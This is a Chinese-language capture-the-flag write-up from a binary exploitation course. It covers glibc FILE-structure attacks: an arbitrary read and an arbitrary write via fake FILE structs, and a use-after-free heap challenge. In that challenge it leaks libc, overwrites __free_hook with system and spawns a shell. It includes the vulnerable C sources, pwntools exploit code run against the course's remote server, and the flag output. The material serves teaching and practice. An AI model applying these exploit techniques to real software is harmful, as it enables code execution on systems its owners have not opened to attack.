lecture: https://www.youtube.com/watch?v=_TYWsA8gEW0
slide: slide (Pwn-w1.pdf)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
char flag[0x10] = "FLAG{TEST}\n";
int main()
{
FILE *fp;
char *buf;
buf = malloc(0x10);
fp = fopen("/tmp/meow", "w");
read(0, buf, 0x1000);
fwrite(buf, 0x10, 1, fp);
return 0;
}
題目有開 -no-pie
所以 flag
放的地方不會變
:15
有個 buf
的 overflow
我們要寫道 fp
指的位置
所以需要 fp
與 buf
的相對位置
他們是相鄰 allocated 的
所以
用 gdb
取得 flag
的位置
取得 fp
buf
的相對位置
發現跟計算的結果一致
# since -no-pie
flag_addr = 0x404050
buf_relative_addr = 0x181e2a0
fp_relative_addr = 0x181e2c0
FILE structure
https://docs.pwntools.com/en/stable/filepointer.html
pwntools
有方便的東西可以用
fileStr = FileStructure()
fileStr.flags = 0xfbad0800 # _IO_MAGIC | _IO_CURRENTLY_PUTTING
fileStr.fileno = 0x1 # stdout
fileStr._IO_write_base = flag_addr
fileStr._IO_write_ptr = flag_addr + 0x10
fileStr._IO_write_end = 0
### count = _IO_write_end - _IO_write_base < 0
fileStr._IO_read_end = fileStr._IO_write_base
print(fileStr)
payload = flat(
b'A' * (fp_relative_addr - buf_relative_addr),
bytes(fileStr),
)
payload = payload[:-12*8]
assert len(payload) <= 0x1000
:19
的地方是要把 fileStr
的後半部分 (fileno
後面) 處理掉
不處理掉的話會 Segmentation Fault
看起來是 pwntools
的 FILE
預設值的問題
所以不要蓋到不需蓋過的地方就沒問題
{ flags: 0xfbad0800
_IO_read_ptr: 0x0
_IO_read_end: 0x404050
_IO_read_base: 0x0
_IO_write_base: 0x404050
_IO_write_ptr: 0x404060
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x1
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}
可以來看一下為何要這樣設
先來到 fwrite
的地方
_IO_fwrite
看到 :39
會進去 _IO_sputn
(_IO_new_file_xsputn
)
_IO_new_file_xsputn
到了 :1244
會進入 _IO_OVERFLOW
(_IO_new_file_overflow
)
_IO_new_file_overflow
:740
的地方
我們需要將 flag
設上 _IO_CURRENTLY_PUTTING
這樣可以阻止 buffer
的初始化
接著進入 :776
的 _IO_do_write
(_IO_new_do_write
new_do_write
)
new_do_write
可以看到我們只要想辦法走到 :449
就成功的呼叫到 _IO_SYSWRITE
了
這邊需要繞過 :441
的檢查
所以把 fp->_IO_read_end
fp->_IO_write_base
射程一樣可以繞過
然後就是 _IO_SYSWRITE
了
FILE_AAR/exp.py
'''output
[+] Opening connection to edu-ctf.zoolab.org on port 10010: Done
[*] Switching to interactive mode
FLAG{QAQ...}
\x00\x00AAAAAAAAAAAAAAA[*] Got EOF while reading in interactive
'''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
char flag[0x10] = "FLAG{TEST}\n";
char owo[] = "OWO!";
int main()
{
FILE *fp;
char *buf;
buf = malloc(0x10);
fp = fopen("/tmp/meow", "r");
read(0, buf, 0x1000);
fread(buf, 0x10, 1, fp);
if (strcmp(owo, "OWO!") != 0)
write(1, flag, sizeof(flag));
return 0;
}
題目希望我們把 owo
的值寫成其他的值
owo
位置及 buf
fp
的相對位置這題的 buf
fp
的相對位置跟上一題的算法一樣
:17
有個 buf
的 overflow
我們要寫道 fp
指的位置
所以需要 fp
與 buf
的相對位置
他們是相鄰 allocated
的
所以
取得 fp
buf
的相對位置
發現跟計算的結果一致
跟實際跑起來的結果一致
因為 -no-pie
所以 owo
的位置是固定的
可以直接用讀出來的結果
# since -no-pie
owo_addr = 0x404070
buf_relative_addr = 0x1140290
fp_relative_addr = 0x11402c0
FILE structure
https://docs.pwntools.com/en/stable/filepointer.html
pwntools
有方便的東西可以用
fileStr = FileStructure()
fileStr.flags = 0xfbad0000 # _IO_MAGIC
fileStr._IO_buf_base = fileStr._IO_write_base = owo_addr
fileStr._IO_buf_end = owo_addr + 0x10
fileStr._IO_read_ptr = fileStr._IO_read_end = 0
fileStr.fileno = 0
payload = flat(
b'Y' * (fp_relative_addr - buf_relative_addr),
bytes(fileStr),
)
payload = payload[:-12*8]
assert len(payload) <= 0x1000
# p = process('test/chal')
p = remote('edu-ctf.zoolab.org', 10009)
# gdb.attach(p)
p.send(payload)
p.interactive()
FILE_AAW/exp.py
'''output
root@0643124b43f1 ~/aaw# python3 exp.py
[+] Opening connection to edu-ctf.zoolab.org on port 10009: Done
[*] Switching to interactive mode
$ hello
$ hello
$ hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello
FLAG{sushi}
\x00\x00[*] Got EOF while reading in interactive
$
'''
上面那些 hello
是要讓 __underflow
用到 EOF
為止
這樣才會跳出 fread
可以來看看為什麼要這樣設
fread
(_IO_fread
)進入 :38
_IO_sgetn
_IO_file_xsgetn
如果 fp._IO_read_ptr
fp._IO_read_end
都設成 0
:1293
的 have
就會是 0
這樣可以防止進入 :1306
的地方 才不會動到題目的 buf
進入 :1322
__underflow
_IO_new_file_underflow
到了 :517
就到了我們要的 _IO_SYSREAD
了
就可以任意寫
不過回到 _IO_file_xsgetn
的時候又回一直回來
所以要寫到 :517
的 count
為 0
為止才會讓此 EOF
才會結束 _IO_file_xsgetn
(:1322
)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
struct User
{
char name[0x10];
int size;
FILE *data;
};
struct User *users[8];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 8)
printf("no, no ..."), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
if (size >= 0x200)
printf("no, no ..."), exit(1);
return size;
}
void add_user()
{
short int idx;
idx = get_idx();
users[idx] = malloc(sizeof(*users[idx]));
printf("username\n> ");
read(0, users[idx]->name, 0x10);
users[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
char *buf;
idx = get_idx();
size = get_size();
if (users[idx]->data == NULL)
users[idx]->data = tmpfile();
buf = malloc(size);
read(0, buf, size);
fwrite(buf, size, 1, users[idx]->data);
printf("success!\n");
}
void del_user()
{
short int idx;
idx = get_idx();
if (users[idx]->data != NULL)
fclose(users[idx]->data);
free(users[idx]);
printf("success!\n");
}
void show_users()
{
char buf[0x200] = {};
for (int i = 0; i < 8; i++) {
if (users[i] == NULL || users[i]->data == NULL)
continue;
printf("[%d] %s\ndata: ", i, users[i]->name);
fseek(users[i]->data, 0, SEEK_SET);
fread(buf, sizeof(buf), 1, users[i]->data);
printf("%s\n", buf);
}
}
int main()
{
char opt[2];
int power = 20;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("**** [Mini] User Management System ****\n");
while (power)
{
power--;
printf("1. add_user\n"
"2. edit_data\n"
"3. del_user\n"
"4. show_users\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_user(); break;
case '2': edit_data(); break;
case '3': del_user(); break;
case '4': show_users(); break;
case '5': exit(0);
}
}
printf("No... no power..., b..ye...\n");
return 0;
}
heap
當我們進行以下動作之後
add_user(0, 'a'*0x10)
edit_data(0, 0x10, 'r'*0x10)
add_user(1, 'b'*0x10)
heap
的狀況會變為下圖
如果再執行
del_user(0)
UAF
控制 FILE
結構題目的 del_user
有 UAF
的漏洞
:68
也有可以控制的 malloc
就來試著控制 FILE
看看吧
首先
add_user(0, 'A'*0x10)
edit_data(0, 0x10, 'a'*0x10)
add_user(1, 'B'*0x10)
edit_data(1, 0x10, 'b'*0x10)
add_user(2, 'C'*0x10)
del_user(0)
del_user(1)
add_user(3, 'D'*0x09)
edit_data(3, 0x1e0-0x08, 'hello')
可以由上圖看到我們第三步驟的 add_user
執行時
會動態分配 struct User
他會從先從 tcache
裡面找有沒有可用的區塊
這時候就會找到我們之前 delete
的 user1
的位置把 user3
放上去 (根據 tcache
FILO 的特性所以不會是拿 user0
的位置)
執行 edit_user(3)
時
我們故意把 buf
的 chunksize
控制成跟 data
(FILE
) 一樣大
這樣 buf
在找空間的時候會進 tcache
看看有沒有這個大小的可用記憶體
就會找到原本 *users[0]->data
的地方(圖中紅色框框)
而我們能控制 buf
意思就是我們可以控制 *users[0]->data
也就是 FILE
的結構了
可以由下圖看到我們把 *users[0]->data
改成了 hello
main_arena
__free_hook
system
這邊我們知道 del_user
的時候
fp
指向的 FILE
指向的那個大小 0x1011
的地方會進到 unsorted bin
(前面圖片有)
意思是會有 FD
BK
在那上面
而當 unsortedbin
只有放他一個的時候
FD
BK
就會指向 main_arena
所以只要 leak
者個東西就好了
這邊採用下圖的方式
這樣來到最後一個 edit_user
的時候
buf
(大小 tcache
會找不到可用的地方
接著他就就會來 unsortedbin
找有沒有夠大的地方
就會找到前面進到 unsortedbin
的
個一塊夠大以會切上面的部分給 buf
所以會被配置到含有 FD
BK
的地方(下圖黃色框框)
而此時 buf
大小開 0x10
我們只輸入 0x09
個 p
這樣 buf
剩下的部分就會是一大部分的 BK
了
(因為 BK
的最後一位可能是 \x00
,如果這樣後面的 printf
會把後面切掉所以要改掉)
buf 的內容:
FD______ BK______
輸入 0x09 個 p 之後
pppppppp pBK_____
然後 edit_user
的後面會把 buf
放進他的檔案裡
顯然的 BK
也會一起進去
之後只要 show_users
BK
就會顯示出來了
有了這個就可以算出 system
跟 __free_hook
的位置了
leak_relative_addr = 0x00007f1e891a4200
freehook_relative_addr = 0x7f1e891a5e48
system_relative_addr = 0x7f1e89009290
leak_addr = (int.from_bytes(get_first_data_2(), 'big'))
system_addr = leak_addr+(system_relative_addr-leak_relative_addr)
freehook_addr = leak_addr+(freehook_relative_addr-leak_relative_addr)
system_addr = p64((system_addr), endian='big')
freehook_addr = p64(freehook_addr, endian='big')
leak_addr = p64(leak_addr, endian='big')
print(f'{system_addr = }')
print(f'{freehook_addr = }')
print(f'{leak_addr = }')
可以看到算出來的結果正確
這邊想要把 __free_hook
寫成 system
把 user2->name
設置成 /bin/sh\x00
這樣在 del_user
的時候
就等同於呼叫 system("/bin/sh\x00")
所以等下要用的 FileStructure
會設計成像下面那樣
上面的 [LAB] AAW
我們已經追過 fread
的流程
所以知道要設成下面這樣
fileStr = FileStructure()
fileStr.flags = 0xfbad0000 # _IO_MAGIC
fileStr._IO_buf_base = fileStr._IO_write_base = int.from_bytes(freehook_addr, 'big')
fileStr._IO_buf_end = int.from_bytes(freehook_addr, 'big') + 0x200
fileStr._IO_read_ptr = fileStr._IO_read_end = 0
fileStr.fileno = 0
把上面的手段串在一起
就可以來處理這個了
流程如下
__free_hook
system
這邊上方已經說明過了
所以執行到 :13
的時候
user6
的 FILE
就會有 BK
show_user()
就會把他顯示出來
print("Trying to get system_addr freehook_addr...")
add_user(7, 'R'*0x09)
edit_data(7, 0x10, 'a'*0x09)
add_user(0, 'A'*0x09)
del_user(7)
leak_relative_addr = 0x00007f1e891a4200
freehook_relative_addr = 0x7f1e891a5e48
system_relative_addr = 0x7f1e89009290
add_user(6, 'S'*0x09)
edit_data(6, 0x10, 'p'*0x09)
leak_addr = (int.from_bytes(get_first_data_2(), 'big'))
system_addr = leak_addr+(system_relative_addr-leak_relative_addr)
freehook_addr = leak_addr+(freehook_relative_addr-leak_relative_addr)
FILE
結構這邊上方也說明過了
執行過後 *users[0]->data
會變成我們精心設計的 FILE
print("Trying to fake file structure... *users[0]->data")
edit_data(0, 0x10, 'a'*0x09)
add_user(1, 'B'*0x09)
edit_data(1, 0x10, '/bin/sh\x00')
add_user(2, '/bin/sh\x00')
del_user(0)
del_user(1)
fileStr = FileStructure()
fileStr.flags = 0xfbad0000 # _IO_MAGIC
fileStr._IO_buf_base = fileStr._IO_write_base = int.from_bytes(freehook_addr, 'big')
fileStr._IO_buf_end = int.from_bytes(freehook_addr, 'big') + 0x200
fileStr._IO_read_ptr = fileStr._IO_read_end = 0
fileStr.fileno = 0
print(fileStr)
payload = bytes(fileStr)
payload = payload[:-12*8]
add_user(3, '/bin/sh\x00')
edit_data(3, 0x1e0-0x08, payload)
fread
到目前為止我們已經控制了 fread
的執行流程
現在只差呼叫 fread
了
show_users()
裡面會呼叫 fread
所以來呼叫他
呼叫之後會從 stdin
把資料讀進 __free_hook
(這是我們所控制的執行流程)
這時候就讀進 system
的位置
print("Trying to call fread()...")
show_users()
payload = system_addr
# since buf size is 0x200
# we need to send until __underflow EOF
for i in range(0x200 // 0x8):
r.send(payload[::-1])
system("/bin/sh\x00")
此時的 __free_hook
已經是 system
了
user2
則會是 "/bin/sh\x00"
(上面設的)
所以執行 free(user2)
的時候等同於執行 system("/bin/sh\x00")
del_user(2)
r.interactive()
然後就有 shell
了
直接來收 flag
miniums/exp.py
'''output
$ cat /home/chal/flag
FLAG{Toyz_4y2m_QQ_6a61c7e00afda47e65f4aaedc62e4fdc}
'''